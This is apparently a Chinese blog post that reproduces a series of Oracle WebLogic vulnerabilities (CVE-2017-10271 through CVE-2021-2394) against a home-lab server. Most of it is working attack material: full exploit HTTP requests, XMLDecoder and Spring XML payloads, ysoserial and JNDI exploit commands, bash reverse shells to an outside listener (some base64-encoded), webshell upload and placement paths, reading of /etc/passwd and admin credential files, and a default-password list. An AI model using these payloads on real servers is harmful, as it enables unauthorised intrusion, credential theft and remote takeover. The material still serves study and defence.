zoukankan      html  css  js  c++  java
  • Weblogic漏洞复现

    0x01:Weblogic环境搭建

    安装包,需要不同版本的直接去官网下载即可

    https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
    

    双击打开

    image-20210812014953267

    点击下一步

    image-20210812015006342

    image-20210812015037060

    image-20210812015118942

    image-20210812015147579

    image-20210812015429032

    设置账号密码,Oracle@123

    image-20210812015619742

    image-20210812015737257

    image-20210812015756485

    image-20210812015845200

    进入到目录,双击

    image-20210812020312756

    输入账号密码

    image-20210812020550111

    然后访问7001端口

    image-20210812021659068

    搭建成功

    image-20210812021716152

    0x02:WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

    1. 漏洞原理

    ​ CVE-2017-10271漏洞产生的原因大致是Weblogic WLS Security 组件对外提供webservice服务,其中使用了 XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

    2. 影响版本

    10.3.6.0
    12.1.3.0.0
    12.2.1.1.0
    12.2.1.2.0
    

    3. 漏洞地址

    默认端口:7001
    /wls-wsat/CoordinatorPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/ParticipantPortType
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/RegistrationRequesterPortType11
    

    4. 漏洞复现

    版本号10.3.6.0

    image-20210808191419130

    初步判断,访问192.168.88.133:7001/wls-wsat/CoordinatorPortType存在下图则可能存在在漏洞。

    image-20210808191539802

    访问上方漏洞路径都会出现相似的页面,我们通过数据包去验证漏洞是否存在。

    POST  /wls-wsat/CoordinatorPortType  HTTP/1.1
    Host: 192.168.88.133:7001
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ADMINCONSOLESESSION=llYJhP8TvzYxpGhV4LFc1l6QS7PpryrXbZkDy5H86nLSxspLvWhq!-2109495751
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: text/xml
    Content-Length: 596
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter">
     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println">
    <string>
     <![CDATA[
    <% out.print("hello"); %>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
    </soapenv:Envelope>
    

    返回值为500。

    image-20210808192700017

    访问

    http://192.168.88.133:7001/bea_wls_internal/test.jsp
    

    image-20210808192828592

    成功写入,存在漏洞

    接着反弹shell。POS下面的数据

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.88.133/8888 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    

    启动监听。

    image-20210808193100371

    成功返回shell

    image-20210808193209039

    0x03:Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

    1. 漏洞原理

    ​ 在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

    ​ 服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections 的payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler。攻击端生成的payload发送给weblogic反序列化连接服务端,服务端把恶意序列化代码发送给weblogic,weblogic再反序列化实现攻击

    ​ 在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。

    2. 影响版本

    Weblogic 10.3.6.0
    Weblogic 12.1.3.0
    Weblogic 12.2.1.2
    Weblogic 12.2.1.3
    

    3. 漏洞复现

    我们先使用nmap扫描是否使用了t3协议

    image-20210817210044436

    利用ysoserial启动一个JRMP Server服务

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/1.txt"
    

    image-20210808210455317

    使用cve-2018-2628.py脚本,向目标Weblogic发送数据包,这里cve-2018-2628.py和ysoserial-0.0.6-SNAPSHOT-BETA-all.jar放置在同一目录下使用。

    python CVE-2018-2628.py 192.168.88.133 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.88.133 9999 JRMPClient
    

    image-20210817211509200

    成功在目标机器上写入文件

    image-20210808212015461

    反弹shell

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
    

    image-20210817211730233

    直接使用自动化工具一步到位。检测到漏洞之后

    image-20210811135439834

    拿到shell

    image-20210817211745767

    反弹shell

    image-20210811135500971

    反弹回shell

    image-20210811135703946

    0x04:Weblogic未授权访问+任意文件上传漏洞(CVE-2018-2894)

    1. 漏洞原理

    ​ Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

    2. 影响版本

    weblogic 10.3.6.0
    weblogic 12.1.3.0
    weblogic 12.2.1.2
    weblogic 12.2.1.3
    

    3. 漏洞复现

    image-20210811140819254

    未授权访问/ws_utc/config.do页面

    image-20210811144459267

    将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,设置Work Home Dir为

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    

    然后点击左侧的安全 -> 增加,然后上传webshell:

    image-20210811144715050

    最后的文件名就是 时间戳_文件名

    image-20210811144756908

    然后访问http://192.168.88.133:7001/ws_utc/css/config/keystore/1628662540500_JspSpy.jsp,即可执行webshell

    image-20210811144919221

    0x05:Weblogic未授权访问+远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)

    1. CVE-2020-14883: 权限绕过漏洞

    远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console

    2. CVE-2020-14882: 代码执行漏洞

    结合 CVE-2020-14883 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

    3. 影响版本

    Weblogic 10.3.6.0.0
    Weblogic 12.1.3.0.0
    Weblogic 12.2.1.3.0
    Weblogic 12.2.1.4.0
    Weblogic 14.1.1.0.0
    

    4. 漏洞复现

    我们访问

    http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    

    直接跳转到管理控制台

    image-20210811150233293

    此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞,这个漏洞的利用方式有两种

    • 一是通过com.tangosol.coherence.mvel2.sh.ShellSession

    • 二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

    利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令

    http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/fuck%27);%22);
    

    成功创建文件

    image-20210811151016959

    这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类时,需要构造一个恶意的xml文件。构造恶意XML

    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/192.168.88.133/1234 0>&1]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    然后通过这个类发出如下请求,即可让Weblogic加载这个xml,并执行其中的命令,成功反弹回shell

    http://192.168.88.133:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.88.133:8888/1.xml")
    

    image-20210811162627772

    0x06:Weblogic前台任意文件读取 && 弱口令 && 后台getshell

    1. 任意文件读取

    本环境存在弱口令:

    • weblogic

    • Oracle@123

      访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

      image-20210812000955084

    那么我们可以读取后台用户密文与密钥文件,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

    image-20210812003319040

    config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了:

    image-20210812001418366

    然后用靶场decrpty里面的工具解密

    image-20210818210732050

    2. 常用的Weblogic弱口令

    system:password
    weblogic:weblogic
    admin:security
    joe:password
    mary:password
    system:security
    wlcsystem:wlcsystem
    wlpisystem:wlpisystem
    

    3. 后台上传war包GetShell

    3.1 war简介

    • war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了
    • 简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西

    3.2 war打包

    • linux下把文件打包成war的压缩包
    jar -cvf blog.war *
    
    • 查看example.war
    jar -tf blog.war
    
    • 也可以先把文件压缩成zip,再改后缀名为war。

      点击部署

      image-20210812004041997

    点击上传文件

    image-20210812004118168

    然后上传war包,一直下一步下一步然后完成。然后冰蝎连接

    http://192.168.88.133:7001/shell/shell.jsp
    

    image-20210812004447579

    0x07:Weblogic IIOP协议反序列化RCE(CVE-2020-2551)

    1. 漏洞原理

    ​ Weblogic IIOP协议默认开启,跟T3协议一起监听在7001端口,这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤,resolveClass方法是会读取父类的,所以T3协议这样过滤没问题。但是IIOP协议这块虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断,默认只会判断本类的类名,而JtaTransactionManager类不在黑名单列表里面并且存在jndi注入

    2. 影响版本

    使用marshalsec起一个恶意的RMI服务。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999
    

    本地编译EXP,然后本地起一个Web服务器

    exp

    import java.io.IOException;
    
    public class Exploit {
    	static{
    		try {
    			java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
    		} catch (IOException e) {
    			e.printStackTrace();
    		}
    	}
    	public static void main(String[] args) {
    		
    	}
    }
    

    编译

    javac Exploit.java
    

    命令行运行jar包

    java -jar weblogic_CVE_2020_2551.jar 192.168.88.133 7001 rmi://192.168.88.133:1099/Exploit
    

    复现失败。。。

    0x08:Weblogic远程代码执行漏洞(CVE-2021-2109)

    漏洞原理

    漏洞为Weblogic 的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行

    1. 影响版本

    10.3.6.0.0
    12.1.3.0.0
    12.2.1.3.0
    12.2.1.4.0
    14.1.1.0.0
    

    2. 漏洞复现

    参考链接 https://mp.weixin.qq.com/s/-ExbVwY7K3fY07h-KP4DEA

    这里使用docker来搭建环境

    docker pull ismaleiva90/weblogic12
    docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
    

    访问http://your-ip:49163/console即可看到页面,User: weblogic Pass: welcome1

    启动LDAP

    java -jar JNDIExploit-v1.11.jar -i 192.168.88.133
    

    然后发送数据包

    POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
    Host: 192.168.88.133:49163
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
    Connection: close
    Referer: http://192.168.88.133:49163/console/console.portal?_nfpb=true&_pageLabel=HomePage1
    Cookie: ADMINCONSOLESESSION=5ZY9z_8Wg654bjnM0Hmf8bqUjHKmT7Drs0qIkallCxuU154ML2u5!692946862
    If-Modified-Since: Wed, 21 May 2014 19:34:20 GMT
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    image-20210813124455254

    反弹回shell

    image-20210813124959775

    2.1 配合未授权访问

    配合 Weblogic未授权范围 命令执行
    /console/css/../consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://192.168.88.133:1389/Basic/WeblogicEcho;AdminServer")
    
    登录后台可使用此POC,未授权的话用上面的
    /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer")
    
    GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
    Host: 192.168.88.133:49163
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.88.133:49163/console/login/LoginForm.jsp
    cmd:id
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    

    image-20210813131144136

    0x09:Weblogic T3反序列化(CVE-2021-2394)

    1. 漏洞复现

    这里借用cve-2020-14882的环境

    命令如下:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/aaa.txt" -A 192.168.88.133 
    -C [执行的命令] 
    -A [开启ldap服务的ip]
    

    image-20210813135257223

    发包

    image-20210813135317065

    成功创建文件

    image-20210813135826899

    反弹shell,记得编码。

    image-20210813140109238

    0x10:Weblogic写Shell的几种方式

    ​ 对于反序列化漏洞,如果获得的是系统权限或者root权限,那就没必要上传木马,但如果只是web安装应用的权限,就上传获取更大权限。上传需要找到几个点,获取物理路径,如下面三种:

    1. 方法一:把Webshell写在控制台images里面

    \Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp 
    
    http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
    

    2. 方法二:写到uddiexplorer目录中

    \Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp 
    
    访问 `http://*.*.*.*:7001/uddiexplorer/shell.jsp
    

    3. 方法三:在应用安装目录中写

    \Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp 
    
    访问 `http://*.*.*.*:7001/项目名/shell.jsp
    

    参考链接

    https://xz.aliyun.com/t/10365

    https://cloud.tencent.com/developer/article/1861375

    https://python.iitter.com/other/130547.html

  • 相关阅读:
    java身份证号码校验、邮箱校验、手机号码/电话号码校验
    垃圾回收器的基本原理是什么?垃圾回收器可以马上回收内存吗?有什么办法主动通知虚拟机进行垃圾回
    redis缓存机制和底层实现
    java自然语言StanfordCoreNLP入门
    java生成汉字集
    maven打包 invalid entry size Failed to execute goal org.springframework.boot:spring-boot-maven-plugin:1.5.14.RELEASE:repackage (default) on project
    maven解决大项目打包慢的问题
    visualVM远程监控jetty
    jetty配置远程debug
    图数据库ubentu环境neo4j安装
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/15748363.html
Copyright © 2011-2022 走看看